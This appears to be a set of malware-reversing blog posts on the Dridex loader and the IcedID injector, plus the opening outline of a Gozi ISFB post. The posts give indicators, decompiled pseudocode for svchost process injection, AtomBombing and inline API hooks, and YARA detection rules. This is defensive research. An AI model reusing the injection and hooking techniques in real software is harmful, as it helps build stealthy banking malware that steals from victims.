Let’s Learn: Dissecting Dridex Banking Malware Part 1: Loader and Avast "snxk.dll" Hooking Lib

Goal: Reverse engineer and analyze the latest “Dridex” banking malware loader and its usage of Avast “snxk.dll” hooking library.

https://platform.twitter.com/widgets.js
Source:
Dridex Packed Loader 32-bit (x86) Executable (MD5: de0bb0bec9fd145a6f57e538a7dd8693)
Unpacked Dridex “ldr” Loder 32-bit (x86) Executable (MD5: 0fc7b913d0e0278d195b3606b608a223)
“snxk.dll” Injector 32-bit (x86) DLL (MD5: 105987197a3c8f76b92c4cae56fe1b16)
Outline

I. Background
II. Malware Campaign Spreading "Dridex" Banker
III. Original Dridex Packed Loader 32-bit (x86) Executable
IV. Unpacked Dridex Loader 32-bit (x86) Executable
A. Dridex Loader OutputDebugStringW(L"installing"/ L"installed")
B. Loader System Profile
C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
D. Dridex Loader API and Function Resolver
E. CreateProcessW "svchost.exe" Process (flag=0xC)
F. Loader Enumerate Modules and Inject "snhxk.dll" Hooker Library
H. Loader AtomBombing Technique.
V. Unpacked "snxk.dll" Hooker 32-bit (x86) DLL
V. Yara Signature: Dridex Loader

I. Background
Dridex by far is one of the most complex and sophisticated financial banking malware on the e-crime landscape. The malware is also referred to as “Bugat” and “Cridex” by various researchers. The original Bugat malware dates back to 2010, which at some point rivaled the original “Zeus” banking malware. This malware group behind it was referenced in the Department of Justice arrest and indictment of a certain Moldovan national back in 2015. Notably, Dridex leverages AtomBombing process injection technique, initially discovered by EnSilo researchers. Before diving deeper, I highly recommend reading IBM X-Force blog titled “Dridex’s Cold War: Enter AtomBombing” detailing the Dridex method implementing this AtomBombing technique.

II. Malware Campaign Spreading "Dridex" Banker
This latest Dridex variant was distruted via an interesting chain from Microsoft Office document with macros communicating with the intermediatery server receving tasks and receiving encrypted payloads as follows: 
hxxp://securityupdateserver4[.]com/tasks[.]php
hxxp://securityupdateserver4[.]com/modules/x86payload[.]core
hxxp://securityupdateserver4[.]com/modules/x64payload[.]core
Finally, the Dridex loader was retrieved from the following URL as "dridex.exe":
hxxp://209[.]141[.]59[.]124/dridex[.]exe
III.  Original Dridex Packed Loader 32-bit (x86) Executable

The crypted binary leverages GdiFlush API in a loop until it reaches the decoding loop, which unpacks the loader leveraging the following API calls:

ntdll.LdrGetProcedureAddress
kernel32.VirtualAlloc

The original loader was obfuscated and packed by pretty interesting crypter with the following executable information with the program database (PDB) path.

---------------------------------------
----------Dridex Packed Loader---------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x1F760 0x0 Characteristics: 0x0
0x1F764 0x4 TimeDateStamp: 0x5B90D07C [Thu Sep 6 07:00:12 2018 UTC]
0x1F768 0x8 MajorVersion: 0x0
0x1F76A 0xA MinorVersion: 0x0
0x1F76C 0xC Type: 0x2
0x1F770 0x10 SizeOfData: 0x33
0x1F774 0x14 AddressOfRawData: 0x28CE4
0x1F778 0x18 PointerToRawData: 0x28CE4
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x28CE4 0x0 CvSignature: 0x53445352
0x28CE8 0x4 Signature_Data1: 0x5F1B5FEA
0x28CEC 0x8 Signature_Data2: 0x48
0x28CEE 0xA Signature_Data3: 0x446A
0x28CF0 0xC Signature_Data4: 0xDA80
0x28CF2 0xE Signature_Data5: 0x6506
0x28CF4 0x10 Signature_Data6: 0x14D18F78
0x28CF8 0x14 Age: 0x1
0x28CFC 0x18 PdbFileName: EHW###%@$WHRENBRWHrjhss.pdb

IV. Unpacked Dridex Loader 32-bit (x86) Executable
The unpacked Dridex loader contains 398 functions and 4 sections (.text, .rdata, .data, and .reloc) with only one imported KERNEL32.dll and one API call OutputDebugStringW, statically. The total size of the unpacked loader is 86 KB. By far, the Dridex is more complex with obscure API calls obfuscated by its API hashing algorithm, process environment block (PEB) traversal, and Nt-level calls, meant to evade and frustrate automated analysis. Additionally, the loader also appears to leverage legitimate Avast library “snxk.dll” to evade detection.

---------------------------------------
----------Dridex Unpacked Loader-------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x151B0 0x0 Characteristics: 0x0
0x151B4 0x4 TimeDateStamp: 0x5B8EAB53 [Tue Sep 4 15:57:07 2018 UTC]
0x151B8 0x8 MajorVersion: 0x0
0x151BA 0xA MinorVersion: 0x0
0x151BC 0xC Type: 0x2
0x151C0 0x10 SizeOfData: 0x3B
0x151C4 0x14 AddressOfRawData: 0x16804
0x151C8 0x18 PointerToRawData: 0x15204
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x15204 0x0 CvSignature: 0x53445352
0x15208 0x4 Signature_Data1: 0xF58A923F
0x1520C 0x8 Signature_Data2: 0xE81
0x1520E 0xA Signature_Data3: 0x4833
0x15210 0xC Signature_Data4: 0xCBB4
0x15212 0xE Signature_Data5: 0x23F9
0x15214 0x10 Signature_Data6: 0x7FBD8DA0
0x15218 0x14 Age: 0xE
0x1521C 0x18 PdbFileName: S:\Work\_bin\Release-Win32\ldr.pdb

A. Dridex Loader OutputDebugStringW(L”installing”/ L”installed”)
Once the packed loader is unpacked, we observe the Dridex loader loop leveraging OutputDebugStringW and wide strings “installing” and “installed.” It is also notable that the malware proceeds to call GetAdaptersInfo immediately after presumably to check for architecture and Windows version compatibility.

////////////////////////////////////////////////////////////
//////// Dridex Loader "installed" start exceprt ///////////
////////////////////////////////////////////////////////////
if ( (signed int)installing_ldr((char *)2) > 1 )
// OutputDebugStringW(L"installing")
OutputDebugStringW(L"installed");
v51 = a1;
svchost_exe_dridex_loader_process = a4;
v52 = 10240;
hash_func1((int)&v69, 10240);
v4 = func_calc((int)&v69, 0);
GetAdaptersInfo = (void (__cdecl *)(int, int *))func_hash1(0xDEE7C423, 0xDC613C9);
if ( GetAdaptersInfo )
GetAdaptersInfo(v4, &v52);
while ( v4 )
{
if ( *(_DWORD *)(v4 + 0x194) == 0x4B005452 && *(_WORD *)(v4 + 0x198) == 0x31A1 )
{
Dridex_loader_start(0, a2, a3, v4);
goto LABEL_12;
}
v4 = *(_DWORD *)v4;
}

B. Loader System Profile
Dridex loader profiles the system architecture leveraging various APIs and tries to obtain process token access. Additionally, the malware leverages RtlQueryElevationFlags to identify system privileges and configuration. The malware verifies it was launched with administrative privileges by calling the AllocateAndInitializeSid() function with the 0x20 (SECURITY_BUILTIN_DOMAIN_RID) and 0x220 (DOMAIN_ALIAS_RID_ADMINS) sub-authorities.
The Dridex loader leverages the following API call sequences to profile the system:

  • GetVersionExW
  • IsWow64Process
  • Process Token Access
    • OpenProcessToken
    • GetTokenInformation
    • AllocateAndInitializeSid
    • EqualSid
    • FreeSid
  • RtlQueryElevationFlags
  • GetSystemInfo

Additionally, the loader also uses SHRegDuplicateHKey API call to and enumerates registry keys at the following location leveraging RegOpenKeyExW, RegEnumKeyW:

  • HKLM\Software\Microsof\Windows\CurrentVersion\Policies\System
////////////////////////////////////////////////////////////
//////// Dridex Loader Registry Enum exceprt ///////////
////////////////////////////////////////////////////////////
if ( HKLM && HKLM != -1 )
sub_87B085(HKLM);
HKLM = v9;
v9 = 0;
v12 = (_DWORD *)func_calc(a2, 4 * v11);
v13 = 0;
v36 = *v12 ^ 0x3F62AA29;
while ( 1 )
{
v33 = v13;
RegEnumKeyW = (int (__stdcall *)(int, int, char *, signed int))func_hash1(0x3D61B1D5, 0xF2B958D9);
v5 = RegEnumKeyW ? RegEnumKeyW(HKLM, v13, Microsoft, 260) : 0;
if ( v5 )
break;
v15 = (void **)Alpha_Alloc((_WORD **)&Microsoft, (unsigned __int16 **)&v41);
v16 = WideCharToMultiByte_func_0(*v15);
v17 = v16 == v36;
j_RtlFreeHeap_func_0_0((int)&v41);
if ( v17 )
{
v35 = 0;
RegOpenKeyExW = (int (__stdcall *)(int, char *, _DWORD, signed int, int *))func_hash1(0x3D61B1D5, 0xA8C65AB);
if ( RegOpenKeyExW )
{
v19 = 0x20109;
if ( v31 == v37 )
v19 = v34;
v5 = RegOpenKeyExW(HKLM, Microsoft, 0, v19, &v35);
// HKLM\Software\ Microsof\Windows\CurrentVersion\Policies\System
else
{
v5 = 0;
}

C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
The malware creates mutex leveraging advapi32.dll’s Crypto API CryptHashData calculating an MD5 value out of the concatenated output of GetComputerNameA and GetEnvironmentVariableW(“USERNAME”).
D. Dridex Loader API and Function Resolver
The malware resolves ZwProtectVirtualMemory and GetSystemDirectory and LoadLibraryW (advapi32.dll, psapi.dll, shlwapi.dll, shell32.dll, wininet.dll)

E. CreateProcessW “svchost.exe” process (flag=0xC)
The Dridex loader leverages CreateProcessW with the creation flag 0xC (CREATE_SUSPENDED|DETACHED_PROCESS) for initial process start via “svchost.exe passing the location of the Dridex loader as a command-line argument to “C:\Windows\system32\svchost.exe” and setting the current directory as “C:\Windows\system32.”

//////////////////////////////////////////////////////
////// Dridex Loader "CreateProcessW" Call ///////////
//////////////////////////////////////////////////////
CreateProcessW
(L"C:\Windows\system32\svchost.exe", // ModuleFileName
L"C:\Windows\system32\svchost.exe \
"PATH_TO_DRIDEX_LOADER"", // CommandLine
0,
0,
0,
0xC, // 0xC = CREATE_SUSPENDED|DETACHED_PROCESS
0,
// CurrentDir
L"C:\Windows\system32\",
&pStartupInfo,
&pProcessInfo)

Then, the loader proceeds to immediately obtain process information via the following sequence of API calls:

GetProcessId -> NtOpenProcess -> GetProcessImageFileNameW -> NtQueryInformationProcess -> \
GetProcessTimes -> ProcessToken Access

F. Loader Enumerate Modules and Inject “snhxk.dll” Hooker Library
Dridex enumerates modules via the following chain and injects “snxhk.dll” into “svchost.exe”:

CreateToolhelp32Snapshot -> Thread32First -> Thread32Next -> OpenThread -> \
NtQueryVirtualMemory -> NtReadVirtualMemory -> \ NtWriteVirtualMemory -> NtResumeThread

Additionally, the malware injects the DLL into the memory leveraging NtWriteVirtualMemory into the space of the suspended “svchost.exe.” 

H. Loader AtomBombing Technique
The Dridex loader leverages GlobalAddAtomW and GlobalGetAtomName with NtQueueApcThread with NtProtectVirtualMemory API call in end to make the memory region RWX as it is well-documented here.

///////////////////////////////////////////////////////////////////
//////////// Dridex Atom NtNtQueueApcThread //////////////
///////////////////////////////////////////////////////////////////

bool __fastcall Dridex_Atom_NtQueueApc(void *this, int edx0, int a2, int a3, int a4)
{

v5 = this;
v6 = edx0;
v7 = GlobalAddAtomW_GlobalGetAtomNameW_func((void *)a4);
LOWORD(v13) = v7;
if ( v7 && -1 != v7 && (v8 = func2((void *)a4), NtQueueApcThread_func
(a2, (int)v5, (unsigned __int16)v7, a3, v8 / 2)) )
{
ZwDelayExecution_func((void *)0x64);
v9 = func2((void *)a4);
v10 = func_calc(a4, 0);
v11 = NtReadVirtualMemory_func(v6, a3, v10, v9);
}
else
{
v11 = 0;
}
if ( v7 && -1 != v7 )
GlobalDeleteAtom_func(v13);
return v11;
}

V. Unpacked “snhxk.dll” Hooker 32-bit (x86) DLL

The injected “snhxk.dll” DLL contains 15 functions and 4 sections (.text, .rdata, .data, and .reloc) and one imported library KERNEL32.dll with two imported APIs FreeConsole and VirtualQuery, statically. The size of the DLL is 9 KB. Once run, this DLL also resolves dynamically GetProcAddress, LoadLibraryA, VirtualAlloc, VirtualProtect and retrieves LdrLoadDll.
Dridex appears to leverage snxhk.dll specifically to monitor LdrLoadDll API calls. The “snhxk.dll” appears to be related to Avast anti-virus hooker library to monitor loader.
The malware sets up a hook on NTDLL.dll!LdrLoadDll overwriting it with relative opcode “0xe9” jump.
//////////////////////////////////////////////////////
////// Dridex "snxhk.dll "LdrLoad" Hook Exceprt /////
//////////////////////////////////////////////////////
PVOID LdrLoadDll_dridex()
{

v12 = (_BYTE *)load_ntdll((int)"LdrLoadDll");
v11 = v12;
if ( *v12 == 0xE9u // jmp relative offset = "0xE9" opcode
{
do
{
v0 = *(_DWORD *)(v11 + 1);
v1 = v11[v0 + 5] == 0xE9u;
v11 += v0 + 5;
}
while ( v1 );
}
v10 = 0;
if ( v12 != v11 )
{
VirtualQuery(v11, &Buffer, 0x1Cu);
v10 = 0;
if ( Buffer.AllocationBase )
{
v9 = (char *)Buffer.AllocationBase + *((_DWORD *)Buffer.AllocationBase + 15);
v10 = Buffer.AllocationBase;
if ( *(_WORD *)Buffer.AllocationBase == 0x5A4D )
{
v10 = Buffer.AllocationBase;
if ( *(_DWORD *)v9 == 0x4550 )
VI. Yara Signature: Dridex Loader
import "pe"

rule crime_win32_dridex_banker_loader {
meta:
description = "Detects Dridex Loader September 4, 2018"
author = "@VK_Intel"
date = "2018-09-10"
hash1 = "ce509469b80b97e857bcd80efffc448a8d6c63f33374a43e4f04f526278a2c41"
strings:
$s1 = "S:\\Work\\_bin\\Release-Win32\\ldr.pdb" fullword ascii
$s2 = "OutputDebugStringW" fullword ascii
$s3 = "KERNEL32.dll" fullword ascii

$hash_resolver = { 56 57 8b fa 8b f1 8b cf e8 ?? ?? ?? ?? 85 c0 75 ?? 81 fe 29 aa 62 3f 75 ?? 33 c0 5f 5e c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 300KB ) and
pe.imphash() == "cdd344983e4f44182600c69cb4fab21d" and (1 of them) or
( 1 of ($s*) and $hash_resolver )
}
VII. Appendix: Dridex Loader Configuration
Dridex ID: “10205”
104.236.24[.]85:443
188.240.231[.]15:3889
107.170.220[.]167:4431

Let’s Learn: Deeper Dive into "IcedID"/"BokBot" Banking Malware: Part 1

Goal: Reverse engineer and analyze one of the latest “IcedID” banking malware (also known to some researchers as “BokBot”) focusing on its core functionality.

https://platform.twitter.com/widgets.js Malware:
Original Packed IcedID Loader (MD5: 78930770cb81ad779958da3523fcb829)

Unpacked Injector IcedID (M5: e42d8511c6237cd22ac6bc89a2c00861)

Outline:

I. Background

II. “Emotet” Malware Campaign Spreading “IcedId” Banker

III. Original Packed Loader "IcedID" 32-bit (x86) Executable
IV. Unpacked Process Injector "IcedID" 32-bit (x86) Executable
V. Minimalistic Process Injection: \
Hooking Engine ZwCreateUserProcess & RtlExitUserProcess
A. IcedID "HookMain" 
B. Injector CreateProcessW API Execution (dwCreationFlags=0)
C. "myZwCreateUserProcess" Hook
D. "HookRtlExitUserProcess" Function
V. Yara Signature: IcedID Injector


I. Background

IcedID banker first publically identified in November 2017; IBM’s X-Force research team published a report claiming to have spotted this new banking malware spreading via massive spam campaigns. Compromised computers were first infected with the Emotet downloader, which then grabbed IcedID from the attacker’s domain. IcedID is able to maintain persistence on infected machines, and it has targeted companies mainly in the financial services, retail, and technology sectors. IcedID operators oftentimes collaborate with other groups such as TrickBot, for example.
Additionally, I highly recommend reading Fox-IT’s paper titled Bokbot: The (re)birth of a banker.” They detail that the original discovery dates back to May 2017; additionally, it is notable that the IcedID banker appears to be a continuation of the Neverquest group activity, also known internally as “Catch.” 
II. “Emotet” Malware Campaign Spreading “IcedId” Banker
While reviewing one of the latest malware campaign spreading the Emotet loader as it was reported by Brad, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was spreading IcedID banker and “AZORult” stealer subsequently.
III. Original Packed Loader “IcedID” 32-bit (x86) Executable
The original IcedID loader was obfuscated and packed by pretty interesting crypter with the following executable information with the PDB path.
[IMAGE_DEBUG_DIRECTORY]
0x1E1E0 0x0 Characteristics: 0x0
0x1E1E4 0x4 TimeDateStamp: 0x4AA23E03 [Sat Sep 5 10:31:31 2009 UTC]
0x1E1E8 0x8 MajorVersion: 0x0
0x1E1EA 0xA MinorVersion: 0x0
0x1E1EC 0xC Type: 0x2
0x1E1F0 0x10 SizeOfData: 0x42
0x1E1F4 0x14 AddressOfRawData: 0x257B8
0x1E1F8 0x18 PointerToRawData: 0x245B8
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x245B8 0x0 CvSignature: 0x53445352
0x245BC 0x4 Signature_Data1: 0x11439B10
0x245C0 0x8 Signature_Data2: 0x27C2
0x245C2 0xA Signature_Data3: 0x49F4
0x245C4 0xC Signature_Data4: 0x6EB6
0x245C6 0xE Signature_Data5: 0x780D
0x245C8 0x10 Signature_Data6: 0x7D7BC8B5
0x245CC 0x14 Age: 0x1
0x245D0 0x18 PdbFileName: c:\Sea\Eat\Steam\First\Bone\boybehind.pdb

IV. Unpacked Process Injector “IcedID” 32-bit (x86) Executable
After unpacking the crypter/loader portion of IcedID, one of the first notable features of IcedID is its surreptitious process injection without using suspended process but relies on hooking ZwCreateUserProcess and RtlExitUserProcess. The injector appears to have been compiled on August 13, 2018. Its size is 25 KB with three sections and two imports.

[IMAGE_FILE_HEADER]
0xC4 0x0 Machine: 0x14C
0xC6 0x2 NumberOfSections: 0x3
0xC8 0x4 TimeDateStamp: 0x5B718995 [Mon Aug 13 13:37:25 2018 UTC]
0xCC 0x8 PointerToSymbolTable: 0x0
0xD0 0xC NumberOfSymbols: 0x0
0xD4 0x10 SizeOfOptionalHeader: 0xE0
0xD6 0x12 Characteristics: 0x103
Flags: IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_RELOCS_STRIPPED

The injector contains three sections (.text, bss, .rdata) with two imported DLL:

  • SHLWAPI.DLL
  • KERNEL32.DLL
The rest of APIs, IcedID injector imports dynamically resolving NTDLL.DLL as follows.

V. Minimalistic Process Injection: Hooking Engine ZwCreateUserProcess & RtlExitUserProcess

Essentially, IcedID injector starts checks if it is being with the “/u” parameter, and if it does, it sleeps for 5000 milliseconds. Otherwise, it resolves NTDLL.dll APIs dynamically and proceeds into the main hooking function hooking ZwCreateUserProcess and RtlExitProcess APIs. Eventually, it launches the main code via “svchost.exe.” 
The injector main function works as follows as pseudo-coded in C++:

/////////////////////////////////////////////////////////
/////// IcedID Injector Start Function //////////////////
/////////////////////////////////////////////////////////

void __noreturn IcedID_start()
{
LPSTR v0;
WCHAR path_svchost_exe;
struct _STARTUPINFOW StartupInfo;
WCHAR WINDIR_svchost_exe;
struct _PROCESS_INFORMATION ProcessInformation;

v0 = GetCommandLineA();
if ( StrStrIA(v0, &unk_407DB8) )
  // "/u" - param check via CommandLineA
Sleep(5000u);
if ( Get_Param_Resolve_NTDLL((int)v0) )
{
get_decoder(&StartupInfo, 0x44);
get_decoder(&ProcessInformation, 16);
StartupInfo.cb = 0x44;
    // "IcedID" main hooking function
if ( HookMain((int)ntdll_ZwCreateUserProcess,
        (int)my_ZwCreateUserProcess) )
{
GetSystemDirectoryW(&path_svchost_exe, 0x104u);
      // Set up %WINDIR%\System32 directory path
SetCurrentDirectoryW(&path_svchost_exe);
get_svchost((int)&WINDIR_svchost_exe);
      // "svchost.exe"
lstrcatW(&path_svchost_exe, &WINDIR_svchost_exe);
CreateProcessW(0, &path_svchost_exe, 0, 0, 0, 0, 0, 0, &StartupInfo,
      &ProcessInformation);
}
}
ExitProcess(0);
}

Talos provides an excellent description of this technique as follows (copy/paste):

  • In the memory space of the IcedID process, the function ntdll!ZwCreateUserProcess is hooked.
  • The function kernel32!CreateProcessA [CreateProcessW  (Unicode) version-  @VK_Intel) is called to launch svchost.exe and the CREATE_SUSPENDED flag is not set.
  • The hook on ntdll!ZwCreateUserProcess is hit as a result of calling kernel32!CreateProcessA. The hook is then removed, and the actual function call to ntdll!ZwCreateUserProcess is made.
  • At this point, the malicious process is still in the hook, the svchost.exe process has been loaded into memory by the operating system, but the main thread of svchost.exe has not yet started.
  • The call to ntdll!ZwCreateUserProcess returns the process handle for svchost.exe. Using the process handle, the functions ntdll!NtAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory can be used to write malicious code to the svchost.exe memory space.
  • In the svchost.exe memory space, the call to ntdll!RtlExitUserProcess is hooked to jump to the malicious code already written
  • The malicious function returns, which continues the code initiated by the call tokernel32!CreateProcessA, and the main thread of svchost.exe will be scheduled to run by the operating system.
  • The malicious process ends.
A. IcedID “HookMain” 
The IcedID malware BOOL-type “HookMain” function works as follows:
/////////////////////////////////////////////////////////
/////// IcedID Injector HookMain Function //////////////////
/////////////////////////////////////////////////////////
BOOL __cdecl HookMain(int relative_offset_opcode_jump, int a2)
{

result = ntdll_ZwProtectVirtualMemory_0(0xFFFFFFFF, relative_offset_opcode_jump, 5, 64, (int)&v4);
v3 = result;
if ( result )
{
//"0xE9" opcode for a jump with 32-bit relative
*(_BYTE *)relative_offset_opcode_jump = 0xE9u;
*(_DWORD *)(relative_offset_opcode_jump + 1) = a2 - relative_offset_opcode_jump - 5;
ntdll_ZwProtectVirtualMemory_0(0xFFFFFFFF, relative_offset_opcode_jump, 5, v4, (int)&v4);
result = v3;
}
return result;
}
B. Injector CreateProcessW API Execution (dwCreationFlags=0)
IcedID sets up the process execution CreateProcessW with dwCreationFlags set to 0 with no suspended proceses.
Next, the malware sets up the hook for ZwCreateUserProcess (overwrites with relative opcode 0xe9 jump) and then decompressing the buffer via RtlDecompressBuffer API call. Subsequently, the malware sets another hook on RtlExitUserProcess.
C. IcedID “myZwCreateUserProcess” Hook

The IcedID signed int “my_ZwCreateUserProcess” function prototype is as follows:
/////////////////////////////////////////////////////////
/////// IcedID Injector my_ZwCreateUserProcess Function ///
///////////////////////////////////////////////////////
signed int __thiscall my_ZwCreateUserProcess(void *this, _DWORD *a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12)
{

v13 = this;
if ( ZwProtectVirtualMemory((int)ntdll_ZwCreateUserProcess, (int)&addr_of_ntdll_func_3) )
{
result = ntdll_ZwCreateUserProcess(a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
if ( !result )
{
if ( ntdll_RtlDecompressBuffer_0(&a12, &v13) )
result = HookRtlExitUserProcess(*a2, a12) != 0 ? 0 : 0xC0000001;
else
result = 0xC0000001;
}
}
else
{
result = 0xC0000001;
}
return result;
}

Additionally, the malware enters the boolean-type function “HookRtlExitProcess,” which deals with writing the malicious code via ntdll!ZwAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory, which returns the call back to CreateProcessW to launch the execution of “svchost.exe” in memory.
D. “HookRtlExitUserProcess” Function

/////////////////////////////////////////////////////////
//// IcedID Injector HookRtlExitUserProcess Function ////
/////////////////////////////////////////////////////////
BOOL __cdecl HookRtlExitUserProcess(int a1, int a2)
{

v2 = 0;
v6 = a1;
lpMem = 0;
v8 = 0;
v9 = a2;
v3 = ntdll_ZwAllocateVirtualMemory_0(a1, 0x54, 4);
if ( v3 )
{
v2 = zwAllocateVirtualMemory_DecoderMain((int)&v6);
if ( v2 )
{
v4 = (char *)lpMem + *(_DWORD *)(v9 + 0x10);
if ( v4 )
{
*(_DWORD *)v4 = v3;
v2 = ntdll_ZwWriteVirtualMemory_Main((int)&v6);
if ( v2 )
{
v2 = CreateHookRtlExitProcess(a1, ntdll_RtlExitUserProcess, v8 + *(_DWORD *)(v9 + 0xC));
if ( v2 )
v2 = ntdll_ZwWriteVirtualMemory_0(a1, v3, (int)&dword_402000, 0x454);
}
}
}
if ( lpMem )
GetProcessHeap_Free(lpMem);
}
return v2;
}

VI. Yara Signature: IcedID Injector

rule crime_win32_iceid_injector {
meta:
description = "Detects IcedID Banker Injector"
author = "@VK_Intel"
date = "2018-09-07"
hash1 = "f48efe24259106d0d22bf764c90c96a03155f87710ec181830ea5e84c8d15a9f"
strings:
$s1 = "NTDLL.DLL" fullword ascii
$s2 = "StrStrIA" fullword ascii
$s3 = "StrToIntA" fullword ascii
$s4 = "GetSystemDirectoryW" fullword ascii
$s5 = "GetNativeSystemInfo" fullword ascii
$s6 = "LoadLibraryA" fullword ascii

$hook_rtlexitproces = { ff ?? ?? ff ?? e8 ?? ?? ?? ?? f7 d8 59 1b c0 25 ff ff ff 3f 59 05 01 00 00 c0 5e 8b e5 5d c2 2c 00}
$hook_main = { 55 8b ec 51 56 8b ?? ?? 8d ?? ?? 57 50 6a 40 6a 05 56 6a ff e8 ?? ?? ?? ?? 8b f8 83 c4 14 85 ff 74 ?? 8b ?? ?? 2b c6 c6 ?? ?? 83 e8 05 89 ?? ?? 8d ?? ?? 50 ff ?? ?? 6a 05 56 6a ff e8 ?? ?? ?? ?? 83 c4 14 8b c7 5f 5e 8b e5 5d c3}
$hook_zwcreate_user = { 55 8b ec 51 68 82 20 40 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? b8 01 00 00 c0 eb ?? 56 ff ?? ?? 8b ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? 56 ff ?? ?? ?? ?? ?? 85 c0 75 ?? 8d ?? ?? 50 8d ?? ?? 50 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? b8 01 00 00 c0 eb ?? ff ?? ?? ff ?? e8 ?? ?? ?? ?? f7 d8 59 1b c0 25 ff ff ff 3f 59 05 01 00 00 c0 5e 8b e5 5d c2 2c 00}
$ntdll_resolver = { 57 68 c0 7e 40 00 ff ?? ?? ?? ?? ?? 8b f8 85 ff 75 ?? 5f c3 53 56 68 76 20 40 00 68 30 20 40 00 68 51 d4 0c e5 33 db c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 53 57 57 e8 ?? ?? ?? ?? 68 70 20 40 00 68 28 20 40 00 68 b2 9f d8 b0 53 57 57 8b f0 e8 ?? ?? ?? ?? 68 58 20 40 00 68 08 20 40 00 68 eb da 7b d3 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 82 20 40 00 68 40 20 40 00 68 66 5f b1 f4 53 57 57 e8 ?? ?? ?? ?? 68 64 20 40 00 68 18 20 40 00 68 df 5d 79 8c 53 57 57 0b f0 e8 ?? ?? ?? ?? 68 5e 20 40 00 68 10 20 40 00 68 94 9c 50 c5 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 6a 20 40 00 68 20 20 40 00 68 e4 d1 46 ae 53 57 57 e8 ?? ?? ?? ?? 68 88 20 40 00 68 48 20 40 00 68 7e b7 06 fd 53 57 57 0b f0 e8 ?? ?? ?? ?? 68 7c 20 40 00 68 38 20 40 00 68 26 dd 7f 2d 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 8e 20 40 00 68 50 20 40 00 68 ee 1a 0c 53 53 57 57 e8 ?? ?? ?? ?? 83 c4 18 0b c6 f7 d8 1b c0 5e 5b 40 5f c3 83 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 53 57 e8 ?? ?? ?? ?? 8b f8 8b da 8b cf 0b cb 0f ?? ?? ?? ?? ?? 55 53 57 e8 ?? ?? ?? ?? 8b e8 59 59 85 ed 0f ?? ?? ?? ?? ?? 56 68 0e 21 40 00 68 c8 20 40 00 68 51 d4 0c e5 53 57 55 e8 ?? ?? ?? ?? 68 08 21 40 00 68 c0 20 40 00 68 b2 9f d8 b0 53 57 55 8b f0 e8 ?? ?? ?? ?? 68 f0 20 40 00 68 a0 20 40 00 68 eb da 7b d3 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 1a 21 40 00 68 d8 20 40 00 68 66 5f b1 f4 53 57 55 e8 ?? ?? ?? ?? 68 fc 20 40 00 68 b0 20 40 00 68 df 5d 79 8c 53 57 55 0b f0 e8 ?? ?? ?? ?? 68 f6 20 40 00 68 a8 20 40 00 68 94 9c 50 c5 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 02 21 40 00 68 b8 20 40 00 68 e4 d1 46 ae 53 57 55 e8 ?? ?? ?? ?? 68 20 21 40 00 68 e0 20 40 00 68 7e b7 06 fd 53 57 55 0b f0 e8 ?? ?? ?? ?? 68 14 21 40 00 68 d0 20 40 00 68 26 dd 7f 2d 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 26 21 40 00 68 e8 20 40 00 68 ee 1a 0c 53 53 57 55 e8 ?? ?? ?? ?? 55 0b f0 e8 ?? ?? ?? ?? 83 c4 1c 85 f6 5e 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 5d 5f 5b c3}

condition:
uint16(0) == 0x5a4d and
filesize < 80KB and
( all of ($s*) and $hook_main)
or ( $hook_main and ($ntdll_resolver or $hook_rtlexitproces or $hook_zwcreate_user))
}

Let’s Learn: In-Depth Reversing of Recent Gozi ISFB Banking Malware Version 2.16/2.17 & "loader.dll/client.dll"

Goal: Reverse engineer and analyze one of the latest Gozi “ISFB” ( also called “Ursnif'” amongst various researchers) banking malware variants focusing on the one of the latest “client.dll” 32-bit (x86) one. 

https://platform.twitter.com/widgets.js Malware:
Original Packed Loader (MD5: e2476ed98a57bbb14f45fd1e04d4c43c)
Downloaded Tor 32-bit DLL Module (MD5: cc312c797e73d06f397516f9b9d7a438)
Leaked  “client.dll” (February 3, 2015) (MD5: 4fe85d04cc4b8602c27973ab3f08b997)
Unpacked Injected “client.dll” (April 14, 2018)(MD5: c23a41c83e82f45b6742ad07218232f9)
Other observed “client.dll”:
*Unpacked Injected “client.dll” (July 31, 2018)(MD5: 22b748df15e580b10c984f691f7c0fa9)
*Unpacked “loader.dll” (August 20, 2018)(MD5: 3ec8607de7b0b194f19962d3e987031c)
*Unpacked Injected “client.dll” (August 20, 2018)(MD5: 51d010dbca2aa9031b4d12312b56637b)
Outline:

I. Malware Campaign Spreading "ISFB" Banker  
II. Background on ISFB Banker
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
IV. Differences Between Leaked ISFB and ISFB 2.16/2.17 Variants
V. Tor Onion Library
VI. Stealer Methods
VII. Hooking Method
VIII. Process Injection
IX. Inject Processor
X. Yara Signature:
A. ISFB v2.17 "loader.dll" (32-bit) version
